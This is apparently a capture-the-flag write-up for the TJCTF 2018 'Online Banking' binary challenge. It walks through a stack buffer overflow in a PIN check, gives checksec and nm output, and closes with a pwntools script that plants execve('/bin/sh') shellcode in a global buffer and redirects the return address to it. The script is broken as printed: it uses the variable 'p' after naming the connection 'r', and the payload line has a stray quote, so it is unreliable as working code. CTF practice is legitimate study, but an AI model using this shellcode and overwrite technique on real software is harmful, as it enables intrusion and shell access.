TJCTF 2018 - Online Banking (Pwn)
Try out our new online banking service!
|
A binary and the source code |
The vulnerability
With the source code it was easy to spot the developper mistake
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define PIN_SIZE 4
#define NAME_SIZE 32
int verify_pin(char* pin)
{
char pin_check[PIN_SIZE+1];
printf("Please verify your PIN first:\nPIN: ");
fgets(pin_check, NAME_SIZE+1, stdin);
for(int i = 0; i < 4; i ++) {
if(pin[i] != pin_check[i])
return 0;
}
return 1;
}
char name[NAME_SIZE+1];
char pin[PIN_SIZE+1];
int main() {
gid_t gid = getegid();
setresgid(gid, gid, gid);
setbuf(stdout, NULL);
printf("Welcome to our Online Banking system!\n");
printf("To use our system, please register an account with a 4-character PIN:\n");
printf("Name: ");
fgets(name, NAME_SIZE+1, stdin);
printf("PIN: ");
fgets(pin, PIN_SIZE+1, stdin);
while(getchar() != '\n');
unsigned int balance = 0;
printf("Thank you for registering! You may now use our service.\n");
char cmd = '\x00';
while(cmd != 'q')
{
printf("\nWhat would you like to do?\n d - deposit\n w - withdraw\n q - quit\n");
cmd = getchar();
getchar();
if(cmd == 'd')
{
if(verify_pin(pin))
{
char deposit_s[16];
printf("How much would you like to deposit?\n");
fgets(deposit_s, 16, stdin);
balance += atoi(deposit_s);
}
else
{
printf("Invalid PIN!\nFor security reasons, your account is now being locked.\n");
cmd = 'q';
}
}
else if(cmd == 'w')
{
if(verify_pin(pin)) {
char deposit_s[16];
printf("How much would you like to withdraw?\n");
fgets(deposit_s, 16, stdin);
balance -= atoi(deposit_s);
}
else
{
printf("Invalid PIN!\nFor security reasons, your account is now being locked.\n");
cmd = 'q';
}
}
else if(cmd != 'q')
{
printf("Unknown command!\n");
}
if(cmd == 'd' || cmd == 'w') {
printf("Your current balance is %u\n",balance);
}
}
printf("Have a nice day! Please come again soon.\n");
return 0;
}
As you can see there is a buffer overflow in the function verify_pin(char* pin). The fgets function reads NAME_SIZE+1 bytes which mean 33 bytes and stores it in the variable char pin_check[PIN_SIZE+1] which is 5 bytes long.
int verify_pin(char* pin)
{
char pin_check[PIN_SIZE+1];
printf("Please verify your PIN first:\nPIN: ");
fgets(pin_check, NAME_SIZE+1, stdin);
for(int i = 0; i < 4; i ++) {
if(pin[i] != pin_check[i])
return 0;
}
return 1;
}
According to checksec there is no protection for this 64bits binary
switch@debian:~/Documents$ checksec problem
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
At line 34 the fgets call stores 33 bytes into the .bss variable name. This section is not randomized by ASLR when there is no PIE so we can store our shellcode in it. In order to get it address we just need the nm command
switch@debian:~/Documents$ nm problem | grep name
00000000006010a0 B name
So we just have to store the payload in name then set the return address of verify_pin to the address of name, nothing more
from pwn import *
r = remote("problem1.tjctf.org", 8005)
p.read()
p.sendline("\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05") # name
p.read()
p.sendline("1312") # digit
p.read()
p.sendline("d") # we want do some operation
p.read()
p.sendline("1312" + "X" * 13 + "\x60\x10\xa0"[::-1]" + "\x00" * 5) # we send our pin
p.interactive()
tjctf{d4n6_17_y0u_r0pp3d_m3_:(}
what ROP ? Oups